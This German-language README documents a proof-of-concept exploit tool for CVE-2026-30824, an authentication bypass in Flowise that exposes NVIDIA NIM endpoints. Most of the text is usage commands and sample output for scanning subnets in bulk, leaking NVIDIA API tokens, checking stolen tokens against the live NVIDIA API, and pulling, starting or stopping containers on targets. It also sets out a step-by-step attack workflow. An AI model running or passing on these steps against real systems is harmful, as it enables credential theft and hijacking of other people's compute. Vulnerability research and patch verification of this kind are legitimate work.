
Ein Proof-of-Concept-Exploit für **CVE-2026-30824**, eine kritische Schwachstelle zur Umgehung der Authentifizierung in Flowise, die NVIDIA-NIM-API-Endpunkte ohne Authentifizierung offenlegt.
Ein Proof-of-Concept-Checker und Exploit für CVE-2026-30824, eine kritische Authentifizierungs-Bypass-Schwachstelle in Flowise, die NVIDIA-NIM-API-Endpunkte ohne Authentifizierung freigibt.
CVE-2026-30824 ist ein kritischer Authentifizierungs-Bypass in Flowise (< 3.0.13), der nicht authentifizierten Remote-Angreifern Zugriff auf die NVIDIA-NIM-Containerverwaltung und API-Token-Generierungs-Endpunkte ermöglicht.
| Feld | Wert |
|---|---|
| CVSS-Score | 9.8 (Kritisch) |
| CWE | CWE-306: Fehlende Authentifizierung für kritische Funktion |
| Betroffene Versionen | Flowise < 3.0.13 |
| Auswirkung | Vollständige Containerverwaltung, GPU-Zugriff, Token-Diebstahl |
Der Pfad /api/v1/nvidia-nim/* ist in der globalen Authentifizierungs-Middleware auf die Whitelist gesetzt, was nicht authentifizierten Zugriff ermöglicht auf:
✅ Schwachstellenerkennung — Schneller Check, ob das Ziel verwundbar ist
✅ Token-Extraktion — NVIDIA-API-Tokens aus verwundbaren Endpunkten leaken
✅ Token-Validierung — Tokens gegen die NVIDIA-API verifizieren (Blast-Radius demonstrieren)
✅ Container-Enumeration — Laufende NIM-Container auflisten
✅ Batch-Scanning — Mehrere Ziele aus einer Datei scannen
✅ SSL-Bypass — Selbstsignierte Zertifikate standardmäßig ignorieren
✅ Farbige Ausgabe — Leicht lesbare Statusindikatoren (grün/gelb/rot)
✅ Aufklärung — Vollständiges Endpunkt-Mapping und Diagnose
requests-Bibliothek# Skript klonen oder herunterladen
git clone <repository>
cd cve-2026-30824
# Abhängigkeiten installieren
pip install -r requirements.txt
# oder
pip install requests
# Prüfen, ob ein einzelnes Ziel verwundbar ist
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# Erwartete Ausgabe (VERWUNDBAR):
# [+] Ziel scheint VERWUNDBAR (HTTP 200)
# Antwort: {...}
# targets.txt mit einer URL pro Zeile erstellen
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# Alle Ziele scannen (Schnellmodus, keine Eingabeaufforderungen)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# Erwartete Zusammenfassungsausgabe:
# ============================================================
# [*] Scan-Zusammenfassung
# ============================================================
# [+] VERWUNDBAR: 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] GEPATCHT: 1
# ✗ http://192.168.1.102:3000
# NVIDIA-API-Token vom verwundbaren Endpunkt leaken
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# Erwartete Ausgabe:
# [*] Versuche, NVIDIA-API-Token zu leaken...
# [+] NVIDIA-API-Token: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Token-Typ: Bearer
# [+] Läuft ab in: 3600s
# Verifizieren, dass ein geleaktes Token gegen die echte NVIDIA-API funktioniert
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# Erwartete Ausgabe:
# [*] Validiere Token gegen NVIDIA-API...
# [+] Token GÜLTIG! Zugriff auf 45 NVIDIA-NIM-Modelle.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# Container auf dem Ziel auflisten
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# Erwartete Ausgabe:
# [*] Liste laufender Container...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# Alle Aufklärungs-Checks auf dem verwundbaren Ziel ausführen
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
Optionale Argumente:
-h, --help Diese Hilfemeldung anzeigen und beenden
-t, --target TARGET Ziel-URL (z. B. http://192.168.1.100:3000)
-f, --targets-file DATEI Datei mit Liste der Ziele (eine pro Zeile)
Schwachstellenerkennung:
--check Nur prüfen, ob das Ziel verwundbar ist
--scan-only Ziele ohne Eingabeaufforderungen auf Schwachstellen scannen
--debug Anfragedetails und Rohantworten anzeigen
Ausnutzung:
--get-token NVIDIA-API-Token leaken
--validate-token TOKEN Geleaktes Token gegen die NVIDIA-API validieren
--list-containers Laufende NIM-Container auflisten
--get-container CONTAINER_ID Containerdetails abrufen
--get-image IMAGE_ID Imagedetails abrufen
--pull-image IMAGE_TAG Ein Docker-Image pullen (z. B. nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG Einen Container aus einem Image-Tag starten
--container-name NAME Name für den gestarteten Container
--stop-container CONTAINER_ID Einen laufenden Container stoppen
--preload Ressourcen-Preload-Endpunkt auslösen
--all Alle Aufklärungs-Checks ausführen
Erweitert:
--timeout SEKUNDEN Anfrage-Timeout in Sekunden (Standard: 15)
# 1. Gesamtes Subnetz auf verwundbare Instanzen scannen
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. Für jedes verwundbare Ziel Token extrahieren
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. Token-Auswirkung validieren
python3 CVE-2026-30824.py --validate-token "<extrahiertes-token>"
# Schwachstelle verifizieren und vollständigen Blast-Radius demonstrieren
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# Dies wird:
# 1. Schwachstelle prüfen
# 2. NVIDIA-API-Token extrahieren
# 3. Token gegen die NVIDIA-API validieren
# 4. Laufende Container auflisten
# 5. Ressourcen-Enumeration anzeigen
# Ein Ziel periodisch überwachen (per cron oder Scheduler)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log
| HTTP | Bedeutung |
|---|---|
| 200 | ✅ Verwundbar (Endpunkt zugänglich) |
| 400 | ✅ Verwundbar (Anwendungsfehler, aber Endpunkt existiert) |
| 401 | 🟡 Gepatcht (Authentifizierung erforderlich) |
| 404 | 🟡 Kein Flowise oder Endpunkt existiert nicht |
| 5xx | 🔴 Serverfehler/falsch konfiguriert |
Problem: Der Endpunkt gibt eine HTML-Seite statt einer JSON-API-Antwort zurück.